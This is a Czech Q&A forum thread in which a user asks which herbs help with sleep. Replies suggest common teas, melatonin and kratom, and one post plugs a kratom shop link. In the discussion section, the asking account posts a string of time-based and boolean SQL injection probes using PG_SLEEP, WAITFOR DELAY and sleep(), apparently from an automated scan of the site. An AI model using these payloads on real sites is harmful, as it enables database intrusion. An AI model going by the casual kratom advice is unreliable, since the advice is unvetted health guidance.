Avatar uživatele
Milunak

Doporucite bylinky na dobré spaní?

Dobrý večer, poslední dobou špatně spím – co by mohlo zafungovat za bylinky?

Zajímavá 1Pro koho je otázka zajímavá? ttEstiNg2023 před 377 dny Sledovat Nahlásit



Nejlepší odpověď
Avatar uživatele
marci1

Meduňka, heřmánek, mateřídouška. 🙂

0 Nominace Nahlásit

Další odpovědi
Avatar uživatele
Savier

Marihuana.

0 Nominace Nahlásit


Avatar uživatele
Emefej

Meduňka, levandule, chmel, máta, kozlík.

0 Nominace Nahlásit

Avatar uživatele
aliendrone

Becherovka? 😉 😁

0 Nominace Nahlásit

Avatar uživatele
paul1

Dobromysl (pamajorán).

0 Nominace Nahlásit

Avatar uživatele
Pětvalský

Dobrý den,
pro zlepšení kvality spánku je důležité nejenom hledat krátkodobá řešení, ale také zaměřit se na dlouhodobé příčiny špatného spánku. Denní fyzická aktivita a pobyt na slunci alespoň 30 minut denně mohou podpořit večerní produkci melatoninu, hormonu spánku. Večer bychom se měli vyhýbat nebo omezovat expozici modrému světlu z monitorů a televizí.

Co se týče přírodních doplňků, existují bylinky, které mohou podporovat spánek. Doporučuji čaje z heřmánku, levandule, meduňky lékařské nebo tabletky s Valeriánem (Kozlíkem) lékařským. Také je možné doplnit melatonin ve formě lisovaných tablet před spaním. Další možností je červený kratom, který má relaxační účinky a může podpořit usínání a kvalitu spánku. Je však důležité si o kratomu nejprve něco přečíst a věnovat pozornost kvalitě produktu. Kratom se také nedoporučuje užívat denně.

0 Nominace Nahlásit


Diskuze k otázce
Avatar uživatele
Michálek1245

Na dobré spaní asi nedokážu předepsat nic konkrétního. Já jsem si dokázal lépe zorganizovat čas a s tím mi pomohly kratom tablety od https://green­guru.cz/collec­tions/frontpa­ge … mělo to ten vedlejší účinek, že jsem měl mnohem více času na rodinu, koníčky a méně řešil práci. :) Takže asi tak. Slyšel jsem o tom, že pomáhá třeba CBD.

Avatar uživatele
LenkaHaj

Příspěvek smazán administrátorem.

Avatar uživatele
ttEstiNg2023

Příspěvek smazán administrátorem.

Avatar uživatele
ttEstiNg2023

Příspěvek smazán administrátorem.

Avatar uživatele
ttEstiNg2023

Příspěvek smazán administrátorem.

Avatar uživatele
ttEstiNg2023

FaJ5cx8C' OR 619=(SELECT 619 FROM PG_SLEEP(15))--

Avatar uživatele
ttEstiNg2023

Příspěvek smazán administrátorem.

Avatar uživatele
ttEstiNg2023

  • 5) OR 676=(SELECT 676 FROM PG_SLEEP(15))--

Avatar uživatele
ttEstiNg2023

  • 5 OR 522=(SELECT 522 FROM PG_SLEEP(15))--

Avatar uživatele
ttEstiNg2023

8YbhAPVA'; waitfor delay ‚0:0:15‘ --

Avatar uživatele
ttEstiNg2023

1 waitfor delay ‚0:0:15‘ --

Avatar uživatele
ttEstiNg2023

  • 1); waitfor delay ‚0:0:15‘ --

Avatar uživatele
ttEstiNg2023

  • 1; waitfor delay ‚0:0:15‘ --

Avatar uživatele
ttEstiNg2023

(select(0)from(se­lect(sleep(15)))v)/‚­+(select(0)from(se­lect(sleep(15)))v)+‘­„+(select(0)from(se­lect(sleep(15)))v)+“/

Avatar uživatele
ttEstiNg2023

0"XOR(if(now(­)=sysdate(),sle­ep(15),0))XOR"Z

Avatar uživatele
ttEstiNg2023

0'XOR(if(now(­)=sysdate(),sle­ep(15),0))XOR'Z

Avatar uživatele
ttEstiNg2023

if(now()=sysda­te(),sleep(15),0)

Avatar uživatele
ttEstiNg2023

  • 1" OR 2+448–448–1=0+0+0+1 --

Avatar uživatele
ttEstiNg2023

  • 1' OR 2+603–603–1=0+0+0+1 or ‚DbzebHXu‘='

Avatar uživatele
ttEstiNg2023

  • 1' OR 2+879–879–1=0+0+0+1 --

Avatar uživatele
ttEstiNg2023

  • 1 OR 2+775–775–1=0+0+0+1

Avatar uživatele
ttEstiNg2023

Příspěvek smazán administrátorem.

Avatar uživatele
ttEstiNg2023

555

Avatar uživatele
ttEstiNg2023

Příspěvek smazán administrátorem.

Avatar uživatele
ttEstiNg2023

Příspěvek smazán administrátorem.

Avatar uživatele
ttEstiNg2023

Příspěvek smazán administrátorem.

Avatar uživatele
ttEstiNg2023

Příspěvek smazán administrátorem.

Nový příspěvek